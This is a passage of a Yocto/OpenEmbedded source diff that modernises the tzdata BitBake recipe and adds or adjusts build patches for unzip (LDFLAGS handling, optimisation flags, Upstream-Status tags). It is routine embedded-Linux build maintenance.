"07ec42b737d0d3c6be9c337f8abb5f00554a0f9cc4fcf01a703d69403b6bb2b1" + diff --git a/meta/recipes-extended/timezone/tzdata.bb b/meta/recipes-extended/timezone/tzdata.bb index 1e2b440fb0..7f4322d867 100644 --- a/meta/recipes-extended/timezone/tzdata.bb +++ b/meta/recipes-extended/timezone/tzdata.bb @@ -4,203 +4,199 @@ DEPENDS = "tzcode-native" inherit allarch -RCONFLICTS_${PN} = "timezones timezone-africa timezone-america timezone-antarctica \ - timezone-arctic timezone-asia timezone-atlantic \ - timezone-australia timezone-europe timezone-indian \ - timezone-iso3166.tab timezone-pacific timezone-zone.tab" - S = "${WORKDIR}" DEFAULT_TIMEZONE ?= "Universal" INSTALL_TIMEZONE_FILE ?= "1" -TZONES= "africa antarctica asia australasia europe northamerica southamerica \ - factory etcetera backward systemv \ - " -# pacificnew - -do_compile () { - for zone in ${TZONES}; do \ - ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo -L /dev/null \ - -y ${S}/yearistype.sh ${S}/${zone} ; \ - ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/posix -L /dev/null \ - -y ${S}/yearistype.sh ${S}/${zone} ; \ - ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/right -L ${S}/leapseconds \ - -y ${S}/yearistype.sh ${S}/${zone} ; \ - done +TZONES = " \ + africa antarctica asia australasia europe northamerica southamerica \ + factory etcetera backward \ +" + +# "slim" is the default since 2020b +# "fat" is needed by e.g. MariaDB's mysql_tzinfo_to_sql +ZIC_FMT ?= "slim" + +do_compile() { + for zone in ${TZONES}; do + ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${WORKDIR}${datadir}/zoneinfo -L /dev/null ${S}/${zone} + ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${WORKDIR}${datadir}/zoneinfo/posix -L /dev/null ${S}/${zone} + ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${WORKDIR}${datadir}/zoneinfo/right -L ${S}/leapseconds ${S}/${zone} + done } -do_install () { - install -d ${D}/$exec_prefix ${D}${datadir}/zoneinfo - cp -pPR ${S}/$exec_prefix ${D}/ - # libc is removing zoneinfo files from package - cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo - cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo - cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo - - # Install default timezone - if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then - install -d ${D}${sysconfdir} - if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then - echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone - fi - ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime - else - bberror "DEFAULT_TIMEZONE is set to an invalid value." - exit 1 - fi - - chown -R root:root ${D} +do_install() { + install -d ${D}$exec_prefix ${D}${datadir}/zoneinfo + cp -pPR ${WORKDIR}$exec_prefix ${D}${base_prefix} + # libc is removing zoneinfo files from package + cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo + cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo + cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo + cp -pP "${S}/leapseconds" ${D}${datadir}/zoneinfo + cp -pP "${S}/leap-seconds.list" ${D}${datadir}/zoneinfo + + # Install default timezone + if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then + install -d ${D}${sysconfdir} + if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then + echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone + fi + ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime + else + bberror "DEFAULT_TIMEZONE is set to an invalid value." + exit 1 + fi + + chown -R root:root ${D} } -pkg_postinst_${PN} () { +pkg_postinst:${PN}() { etc_lt="$D${sysconfdir}/localtime" src="$D${sysconfdir}/timezone" - if [ -e ${src} ] ; then - tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "${src}") + if [ -e "$src" ]; then + tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "$src") fi - if [ ! -z "${tz}" -a ! -e "$D${datadir}/zoneinfo/${tz}" ] ; then - echo "You have an invalid TIMEZONE setting in ${src}" - echo "Your ${etc_lt} has been reset to Universal; enjoy!" + if [ ! -z "$tz" -a ! -e "$D${datadir}/zoneinfo/$tz" ]; then + echo "You have an invalid TIMEZONE setting in $src" + echo "Your $etc_lt has been reset to Universal; enjoy!" tz="Universal" - echo "Updating ${etc_lt} with $D${datadir}/zoneinfo/${tz}" - if [ -L ${etc_lt} ] ; then - rm -f "${etc_lt}" + echo "Updating $etc_lt with $D${datadir}/zoneinfo/$tz" + if [ -L "$etc_lt" ]; then + rm -f "$etc_lt" fi - ln -s "${datadir}/zoneinfo/${tz}" "${etc_lt}" + ln -s "${datadir}/zoneinfo/$tz" "$etc_lt" fi } -# Packages primarily organized by directory with a major city -# in most time zones in the base package - +# Packages are primarily organized by directory with a major city in most time +# zones in the base package TZ_PACKAGES = " \ tzdata-core tzdata-misc tzdata-posix tzdata-right tzdata-africa \ tzdata-americas tzdata-antarctica tzdata-arctic tzdata-asia \ - tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific" + tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific \ +" PACKAGES = "${TZ_PACKAGES} ${PN}" -FILES_tzdata-africa += "${datadir}/zoneinfo/Africa/*" -RPROVIDES_tzdata-africa = "tzdata-africa" - -FILES_tzdata-americas += "${datadir}/zoneinfo/America/* \ - ${datadir}/zoneinfo/US/* \ - ${datadir}/zoneinfo/Brazil/* \ - ${datadir}/zoneinfo/Canada/* \ - ${datadir}/zoneinfo/Mexico/* \ - ${datadir}/zoneinfo/Chile/*" -RPROVIDES_tzdata-americas = "tzdata-americas" - -FILES_tzdata-antarctica += "${datadir}/zoneinfo/Antarctica/*" -RPROVIDES_tzdata-antarctica = "tzdata-antarctica" - -FILES_tzdata-arctic += "${datadir}/zoneinfo/Arctic/*" -RPROVIDES_tzdata-arctic = "tzdata-arctic" - -FILES_tzdata-asia += "${datadir}/zoneinfo/Asia/* \ - ${datadir}/zoneinfo/Indian/* \ - ${datadir}/zoneinfo/Mideast/*" -RPROVIDES_tzdata-asia = "tzdata-asia" - -FILES_tzdata-atlantic += "${datadir}/zoneinfo/Atlantic/*" -RPROVIDES_tzdata-atlantic = "tzdata-atlantic" - -FILES_tzdata-australia += "${datadir}/zoneinfo/Australia/*" -RPROVIDES_tzdata-australia = "tzdata-australia" - -FILES_tzdata-europe += "${datadir}/zoneinfo/Europe/*" -RPROVIDES_tzdata-europe = "tzdata-europe" - -FILES_tzdata-pacific += "${datadir}/zoneinfo/Pacific/*" -RPROVIDES_tzdata-pacific = "tzdata-pacific" - -FILES_tzdata-posix += "${datadir}/zoneinfo/posix/*" -RPROVIDES_tzdata-posix = "tzdata-posix" - -FILES_tzdata-right += "${datadir}/zoneinfo/right/*" -RPROVIDES_tzdata-right = "tzdata-right" - -FILES_tzdata-misc += "${datadir}/zoneinfo/Cuba \ - ${datadir}/zoneinfo/Egypt \ - ${datadir}/zoneinfo/Eire \ - ${datadir}/zoneinfo/Factory \ - ${datadir}/zoneinfo/GB-Eire \ - ${datadir}/zoneinfo/Hongkong \ - ${datadir}/zoneinfo/Iceland \ - ${datadir}/zoneinfo/Iran \ - ${datadir}/zoneinfo/Israel \ - ${datadir}/zoneinfo/Jamaica \ - ${datadir}/zoneinfo/Japan \ - ${datadir}/zoneinfo/Kwajalein \ - ${datadir}/zoneinfo/Libya \ - ${datadir}/zoneinfo/Navajo \ - ${datadir}/zoneinfo/Poland \ - ${datadir}/zoneinfo/Portugal \ - ${datadir}/zoneinfo/Singapore \ - ${datadir}/zoneinfo/Turkey" -RPROVIDES_tzdata-misc = "tzdata-misc" - -FILES_tzdata-core += " \ - ${sysconfdir}/localtime \ - ${sysconfdir}/timezone \ - ${datadir}/zoneinfo/Pacific/Honolulu \ - ${datadir}/zoneinfo/America/Anchorage \ - ${datadir}/zoneinfo/America/Los_Angeles \ - ${datadir}/zoneinfo/America/Denver \ - ${datadir}/zoneinfo/America/Chicago \ - ${datadir}/zoneinfo/America/New_York \ - ${datadir}/zoneinfo/America/Caracas \ - ${datadir}/zoneinfo/America/Sao_Paulo \ - ${datadir}/zoneinfo/Europe/London \ - ${datadir}/zoneinfo/Europe/Paris \ - ${datadir}/zoneinfo/Africa/Cairo \ - ${datadir}/zoneinfo/Europe/Moscow \ - ${datadir}/zoneinfo/Asia/Dubai \ - ${datadir}/zoneinfo/Asia/Karachi \ - ${datadir}/zoneinfo/Asia/Dhaka \ - ${datadir}/zoneinfo/Asia/Bangkok \ - ${datadir}/zoneinfo/Asia/Hong_Kong \ - ${datadir}/zoneinfo/Asia/Tokyo \ - ${datadir}/zoneinfo/Australia/Darwin \ - ${datadir}/zoneinfo/Australia/Adelaide \ - ${datadir}/zoneinfo/Australia/Brisbane \ - ${datadir}/zoneinfo/Australia/Sydney \ - ${datadir}/zoneinfo/Pacific/Noumea \ - ${datadir}/zoneinfo/CET \ - ${datadir}/zoneinfo/CST6CDT \ - ${datadir}/zoneinfo/EET \ - ${datadir}/zoneinfo/EST \ - ${datadir}/zoneinfo/EST5EDT \ - ${datadir}/zoneinfo/GB \ - ${datadir}/zoneinfo/GMT \ - ${datadir}/zoneinfo/GMT+0 \ - ${datadir}/zoneinfo/GMT-0 \ - ${datadir}/zoneinfo/GMT0 \ - ${datadir}/zoneinfo/Greenwich \ - ${datadir}/zoneinfo/HST \ - ${datadir}/zoneinfo/MET \ - ${datadir}/zoneinfo/MST \ - ${datadir}/zoneinfo/MST7MDT \ - ${datadir}/zoneinfo/NZ \ - ${datadir}/zoneinfo/NZ-CHAT \ - ${datadir}/zoneinfo/PRC \ - ${datadir}/zoneinfo/PST8PDT \ - ${datadir}/zoneinfo/ROC \ - ${datadir}/zoneinfo/ROK \ - ${datadir}/zoneinfo/UCT \ - ${datadir}/zoneinfo/UTC \ - ${datadir}/zoneinfo/Universal \ - ${datadir}/zoneinfo/W-SU \ - ${datadir}/zoneinfo/WET \ - ${datadir}/zoneinfo/Zulu \ - ${datadir}/zoneinfo/zone.tab \ - ${datadir}/zoneinfo/zone1970.tab \ - ${datadir}/zoneinfo/iso3166.tab \ - ${datadir}/zoneinfo/Etc/*" - -CONFFILES_tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone" - -ALLOW_EMPTY_${PN} = "1" -RDEPENDS_${PN} = "${TZ_PACKAGES}" +FILES:tzdata-africa += "${datadir}/zoneinfo/Africa" + +FILES:tzdata-americas += " \ + ${datadir}/zoneinfo/America \ + ${datadir}/zoneinfo/US \ + ${datadir}/zoneinfo/Brazil \ + ${datadir}/zoneinfo/Canada \ + ${datadir}/zoneinfo/Mexico \ + ${datadir}/zoneinfo/Chile \ +" + +FILES:tzdata-antarctica += "${datadir}/zoneinfo/Antarctica" + +FILES:tzdata-arctic += "${datadir}/zoneinfo/Arctic" + +FILES:tzdata-asia += " \ + ${datadir}/zoneinfo/Asia \ + ${datadir}/zoneinfo/Indian \ + ${datadir}/zoneinfo/Mideast \ +" + +FILES:tzdata-atlantic += "${datadir}/zoneinfo/Atlantic" + +FILES:tzdata-australia += "${datadir}/zoneinfo/Australia" + +FILES:tzdata-europe += "${datadir}/zoneinfo/Europe" + +FILES:tzdata-pacific += "${datadir}/zoneinfo/Pacific" + +FILES:tzdata-posix += "${datadir}/zoneinfo/posix" + +FILES:tzdata-right += "${datadir}/zoneinfo/right" + +FILES:tzdata-misc += " \ + ${datadir}/zoneinfo/Cuba \ + ${datadir}/zoneinfo/Egypt \ + ${datadir}/zoneinfo/Eire \ + ${datadir}/zoneinfo/Factory \ + ${datadir}/zoneinfo/GB-Eire \ + ${datadir}/zoneinfo/Hongkong \ + ${datadir}/zoneinfo/Iceland \ + ${datadir}/zoneinfo/Iran \ + ${datadir}/zoneinfo/Israel \ + ${datadir}/zoneinfo/Jamaica \ + ${datadir}/zoneinfo/Japan \ + ${datadir}/zoneinfo/Kwajalein \ + ${datadir}/zoneinfo/Libya \ + ${datadir}/zoneinfo/Navajo \ + ${datadir}/zoneinfo/Poland \ + ${datadir}/zoneinfo/Portugal \ + ${datadir}/zoneinfo/Singapore \ + ${datadir}/zoneinfo/Turkey \ +" + +FILES:tzdata-core += " \ + ${sysconfdir}/localtime \ + ${sysconfdir}/timezone \ + ${datadir}/zoneinfo/leapseconds \ + ${datadir}/zoneinfo/leap-seconds.list \ + ${datadir}/zoneinfo/Pacific/Honolulu \ + ${datadir}/zoneinfo/America/Anchorage \ + ${datadir}/zoneinfo/America/Los_Angeles \ + ${datadir}/zoneinfo/America/Denver \ + ${datadir}/zoneinfo/America/Chicago \ + ${datadir}/zoneinfo/America/New_York \ + ${datadir}/zoneinfo/America/Caracas \ + ${datadir}/zoneinfo/America/Sao_Paulo \ + ${datadir}/zoneinfo/Europe/London \ + ${datadir}/zoneinfo/Europe/Paris \ + ${datadir}/zoneinfo/Africa/Cairo \ + ${datadir}/zoneinfo/Europe/Moscow \ + ${datadir}/zoneinfo/Asia/Dubai \ + ${datadir}/zoneinfo/Asia/Karachi \ + ${datadir}/zoneinfo/Asia/Dhaka \ + ${datadir}/zoneinfo/Asia/Bangkok \ + ${datadir}/zoneinfo/Asia/Hong_Kong \ + ${datadir}/zoneinfo/Asia/Tokyo \ + ${datadir}/zoneinfo/Australia/Darwin \ + ${datadir}/zoneinfo/Australia/Adelaide \ + ${datadir}/zoneinfo/Australia/Brisbane \ + ${datadir}/zoneinfo/Australia/Sydney \ + ${datadir}/zoneinfo/Pacific/Noumea \ + ${datadir}/zoneinfo/CET \ + ${datadir}/zoneinfo/CST6CDT \ + ${datadir}/zoneinfo/EET \ + ${datadir}/zoneinfo/EST \ + ${datadir}/zoneinfo/EST5EDT \ + ${datadir}/zoneinfo/GB \ + ${datadir}/zoneinfo/GMT \ + ${datadir}/zoneinfo/GMT+0 \ + ${datadir}/zoneinfo/GMT-0 \ + ${datadir}/zoneinfo/GMT0 \ + ${datadir}/zoneinfo/Greenwich \ + ${datadir}/zoneinfo/HST \ + ${datadir}/zoneinfo/MET \ + ${datadir}/zoneinfo/MST \ + ${datadir}/zoneinfo/MST7MDT \ + ${datadir}/zoneinfo/NZ \ + ${datadir}/zoneinfo/NZ-CHAT \ + ${datadir}/zoneinfo/PRC \ + ${datadir}/zoneinfo/PST8PDT \ + ${datadir}/zoneinfo/ROC \ + ${datadir}/zoneinfo/ROK \ + ${datadir}/zoneinfo/UCT \ + ${datadir}/zoneinfo/UTC \ + ${datadir}/zoneinfo/Universal \ + ${datadir}/zoneinfo/W-SU \ + ${datadir}/zoneinfo/WET \ + ${datadir}/zoneinfo/Zulu \ + ${datadir}/zoneinfo/zone.tab \ + ${datadir}/zoneinfo/zone1970.tab \ + ${datadir}/zoneinfo/iso3166.tab \ + ${datadir}/zoneinfo/Etc \ +" + +CONFFILES:tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone" + +ALLOW_EMPTY:${PN} = "1" + +RDEPENDS:${PN} = "${TZ_PACKAGES}" diff --git a/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch new file mode 100644 index 0000000000..716766de29 --- /dev/null +++ b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch @@ -0,0 +1,137 @@ +From da29ba6a27d8e78562052c79061476848915eb2a Mon Sep 17 00:00:00 2001 +From: Khem Raj <raj.khem@gmail.com> +Date: Wed, 9 Mar 2022 12:13:28 -0800 +Subject: [PATCH] configure: Pass LDFLAGS to tests doing link step + +Ensures that right flags from recipes are honored, otherwise tests fail +which otherwise should not. + +Upstream-Status: Pending +Signed-off-by: Khem Raj <raj.khem@gmail.com> +--- + unix/configure | 28 ++++++++++++++-------------- + 1 file changed, 14 insertions(+), 14 deletions(-) + +diff --git a/unix/configure b/unix/configure +index d4b0a8e..49579f3 100755 +--- a/unix/configure ++++ b/unix/configure +@@ -116,7 +116,7 @@ _EOF_ + # Special Mac OS X shared library "ld" option? + if test ` uname -s 2> /dev/null ` = 'Darwin'; then + lf='-Wl,-search_paths_first' +- $CC $CFLAGS $lf conftest.c > /dev/null 2>/dev/null ++ $CC $CFLAGS $LDFLAGS $lf conftest.c > /dev/null 2>/dev/null + if test $? -eq 0; then + BZLF=${lf} + fi +@@ -276,7 +276,7 @@ int main() + } + _EOF_ + # compile it +-$CC -o conftest conftest.c >/dev/null 2>/dev/null ++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + if [ $? -ne 0 ]; then + echo -- no Large File Support + else +@@ -322,7 +322,7 @@ int main() + } + _EOF_ + # compile it +-$CC -o conftest conftest.c >/dev/null 2>/dev/null ++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + if [ $? -ne 0 ]; then + echo "-- no Unicode (wchar_t) support" + else +@@ -383,7 +383,7 @@ for func in fchmod fchown lchown nl_langinfo + do + echo Check for $func + echo "int main(){ $func(); return 0; }" > conftest.c +- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null ++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`" + done + +@@ -395,14 +395,14 @@ temp_link="link_$$" + echo "int main() { lchmod(\"${temp_file}\", 0666); }" \ + ) > conftest.c + ln -s "${temp_link}" "${temp_file}" && \ +- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null && \ ++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null && \ + ./conftest + [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHMOD" + rm -f "${temp_file}" + + echo Check for memset + echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c +-$CC -o conftest conftest.c >/dev/null 2>/dev/null ++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DZMEM" + + echo Check for errno declaration +@@ -422,12 +422,12 @@ cat > conftest.c << _EOF_ + int main() { return closedir(opendir(".")); } + _EOF_ + +-$CC -o conftest conftest.c >/dev/null 2>/dev/null ++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + if [ $? -ne 0 ]; then + OPT="" + for lib in ndir dir ucb bsd BSD PW x dirent + do +- $CC -o conftest conftest.c -l$lib >/dev/null 2>/dev/null ++ $CC $CLFAGS $LDFLAGS -o conftest conftest.c -l$lib >/dev/null 2>/dev/null + [ $? -eq 0 ] && OPT=-l$lib && break + done + if [ ${OPT} ]; then +@@ -440,9 +440,9 @@ fi + # Dynix/ptx 1.3 needed this + echo Check for readlink + echo "int main(){ return readlink(); }" > conftest.c +-$CC -o conftest conftest.c >/dev/null 2>/dev/null ++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + if [ $? -ne 0 ]; then +- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null ++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null + [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq" + fi + +@@ -501,7 +501,7 @@ int main() + } + _EOF_ + # compile it +-$CC ${CFLAGS} ${CFLAGSR} -o conftest conftest.c >/dev/null 2>/dev/null ++$CC ${CFLAGS} ${CFLAGSR} $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + if [ $? -ne 0 ]; then + echo "-- no MBCS support" + CFLAGSR="${CFLAGSR} -DNO_MBCS" +@@ -515,7 +515,7 @@ else + do + echo Check for MBCS $func + echo "int main() { $func(); return 0; }" > conftest.c +- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null ++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -D`echo $func | tr '[a-z]' '[A-Z]'`=$func" + done + fi +@@ -557,7 +557,7 @@ elif [ -f /xenix ]; then + elif uname -X >/dev/null 2>/dev/null; then + # SCO shared library check + echo "int main() { return 0;}" > conftest.c +- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null ++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null + [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl" + else + SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown" +@@ -565,7 +565,7 @@ else + case $SYSTEM in + OSF1|ULTRIX) + echo Check for -Olimit option +- $CC ${CFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null ++ $CC ${CFLAGS} ${LDFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null + [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -Olimit 1000" + ;; + ### HP-UX) +-- +2.35.1 + diff --git a/meta/recipes-extended/unzip/unzip/avoid-strip.patch b/meta/recipes-extended/unzip/unzip/avoid-strip.patch index 8f30e42674..e0c89d81b7 100644 --- a/meta/recipes-extended/unzip/unzip/avoid-strip.patch +++ b/meta/recipes-extended/unzip/unzip/avoid-strip.patch @@ -1,4 +1,4 @@ -Upstream-Status: Pending +Upstream-Status: Inappropriate [need a new release] unix/Makefile: remove hard coded strip commands diff --git a/meta/recipes-extended/unzip/unzip/define-ldflags.patch b/meta/recipes-extended/unzip/unzip/define-ldflags.patch index 659c6e3315..dc554c32cb 100644 --- a/meta/recipes-extended/unzip/unzip/define-ldflags.patch +++ b/meta/recipes-extended/unzip/unzip/define-ldflags.patch @@ -1,6 +1,6 @@ Pass LDFLAGS to the linker -Upstream-Status: Pending +Upstream-Status: Inappropriate [need a new release] Signed-off-by: Mikhail Durnev <Mikhail_Durnev@mentor.com> diff --git a/meta/recipes-extended/unzip/unzip/fix-security-format.patch b/meta/recipes-extended/unzip/unzip/fix-security-format.patch index 8e9b06c423..ba6ead3b5e 100644 --- a/meta/recipes-extended/unzip/unzip/fix-security-format.patch +++ b/meta/recipes-extended/unzip/unzip/fix-security-format.patch @@ -5,7 +5,7 @@ Fix security formatting issues related to sprintf parameters expeted. [YOCTO #9551] [https://bugzilla.yoctoproject.org/show_bug.cgi?id=9551] -Upstream-Status: Pending +Upstream-Status: Inappropriate [need a new release] Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com> diff --git a/meta/recipes-extended/unzip/unzip/symlink.patch b/meta/recipes-extended/unzip/unzip/symlink.patch index a38f6f1612..c1d82ac187 100644 --- a/meta/recipes-extended/unzip/unzip/symlink.patch +++ b/meta/recipes-extended/unzip/unzip/symlink.patch @@ -6,7 +6,7 @@ a symlink entry." This patch is taken from Fedora (https://bugzilla.redhat.com/show_bug.cgi?id=972427) -Upstream-Status: Pending (upstream is dead) +Upstream-Status: Inappropriate [need a new release] Signed-off-by: Ross Burton <ross.burton@intel.com> --- unzip60/process.c.sav 2013-06-09 12:08:57.070392264 +0200 diff --git a/meta/recipes-extended/unzip/unzip/unzip_optimization.patch b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch new file mode 100644 index 0000000000..4bab7b26af --- /dev/null +++ b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch @@ -0,0 +1,127 @@ +unzip: use optimization from bitbake + +Remove -O3 optimizations to use bitbake default optimization levels. + +Upstream-Status: Inappropriate [configuration] + +Signed-off-by: Mikko Rapeli <mikko.rapeli@bmw.de> + +diff -rup unix-orig/configure unix/configure +--- a/unix-orig/configure 2021-04-16 10:25:03.120858292 +0000 ++++ b/unix/configure 2021-04-16 10:46:43.292546138 +0000 +@@ -70,7 +70,7 @@ int main() + _EOF_ + $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null + if test $? -eq 0; then +- CFLAGS_OPT='-O3' ++ CFLAGS_OPT='' + echo " DEC C ($CFLAGS_OPT)" + else + # HP-UX HP C? +@@ -111,7 +111,7 @@ int main() + _EOF_ + $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null + if test $? -eq 0; then +- CFLAGS_OPT='-O3' ++ CFLAGS_OPT='' + echo " GNU C ($CFLAGS_OPT)" + # Special Mac OS X shared library "ld" option? + if test ` uname -s 2> /dev/null ` = 'Darwin'; then +diff -rup unix-orig/Makefile unix/Makefile +--- a/unix-orig/Makefile 2021-04-16 10:25:03.000863878 +0000 ++++ b/unix/Makefile 2021-04-16 10:47:31.658299278 +0000 +@@ -47,7 +47,7 @@ LD = $(CC)# must match, else "unresolved + AS = as + LOC = $(D_USE_BZ2) $(LOCAL_UNZIP) + AF = $(LOC) +-CFLAGS = -O ++CFLAGS = + CF_NOOPT = -I. -I$(IZ_BZIP2) -DUNIX $(LOC) + CF = $(CFLAGS) $(CF_NOOPT) + LFLAGS1 = +@@ -594,12 +594,12 @@ generic_shlib: unix_make + @echo\ + 'which is UnZip linked with the DLL). This target is an example only.' + @echo "" +- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC -DDLL" ++ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC -DDLL" + gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL) + $(RM) libunzip.so.0 libunzip.so + $(LN) -s libunzip.so.0.4 libunzip.so.0 + $(LN) -s libunzip.so.0 libunzip.so +- gcc -c -O unzipstb.c ++ gcc -c unzipstb.c + gcc -o unzip_shlib unzipstb.o -L. -lunzip + + #---------------------------------------------------------------------------- +@@ -775,7 +775,7 @@ freebsd: unix_make + # with "echo" instead). + # + gcc: unix_make +- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O3" LF2="" ++ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="" LF2="" + + # Heurikon HK68 (68010), UniPlus+ System V 5.0, Green Hills C-68000 + hk68: unix_make +@@ -792,7 +792,7 @@ isc: unix_make + isc_gcc: unix_make + $(MAKE) unzips AS=gcc CC=gcc LD=gcc CRCA_O=crc_gcc$O \ + LF="-shlib $(LF)" SL="-shlib $(SL)" FL="-shlib $(FL)" LF2="" \ +- CFLAGS="-O3" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \ ++ CFLAGS="" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \ + AF="-DNO_UNDERLINE -Djecxz=jcxz -DALIGNMENT='.align 16' $(AF)" + $(STRIP) $(UNZIPS) + +@@ -808,7 +808,7 @@ isi: unix_make + linux: unix_make + @echo 'NOTE: use linux_noasm target for non-Intel Linux compiles.' + $(MAKE) unzips CC=gcc LD=gcc AS=gcc\ +- CFLAGS="-O3 -Wall -DASM_CRC"\ ++ CFLAGS="-Wall -DASM_CRC"\ + AF="-Di386 $(AF)" CRCA_O=crc_gcc$O + # GRR: this echo is pointless; if user gets this far, no difference to install + # @echo 'Be sure to use the install_asm target rather than the install target' +@@ -818,14 +818,14 @@ linux_asm: linux + # Linux (Posix, approximately SysV): virtually any version since before 0.96, + # for any platform. Change "-O" to "-O3" or whatever, as desired... + linux_noasm: unix_make +- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O -Wall" ++ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-Wall" + + # Linux with lcc compiler: __inline__ (stat.h) not recognized, and must edit + # /usr/include/gnu/types.h to get rid of "long long" if __LCC__ defined. -O3 + # (or -O2 or -O) is ignored. [GRR 960828: test target only] + # + linux_lcc: unix_make +- $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-O3 -Wall -D__inline__= " ++ $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-Wall -D__inline__= " + + # Linux host with go32 (djgpp) cross-compiler (go32crs.tgz) for 32-bit DOS. + linux_dos: unix_make +@@ -844,7 +844,7 @@ linux_dos: unix_make + # library). + # + linux_shlib: unix_make +- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC"\ ++ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC"\ + LOC="-DDLL -DASM_CRC $(LOC)"\ + AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O + gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\ +@@ -858,7 +858,7 @@ linux_shlib: unix_make + # instead of the original UnZip version. (libz was libgz prior to 0.94) + linux_shlibz: unix_make + $(MAKE) objsdll CC=gcc AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O\ +- CFLAGS="-O3 -Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)" ++ CFLAGS="-Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)" + gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\ + crc_gcc.pic.o + ln -sf libunzip.so.0.4 libunzip.so.0 +@@ -871,7 +871,7 @@ lynx: unix_make + + # Macintosh MacOS X (Unix-compatible enviroment), using standard compiler + macosx: unix_make +- $(MAKE) unzips CFLAGS="-O3 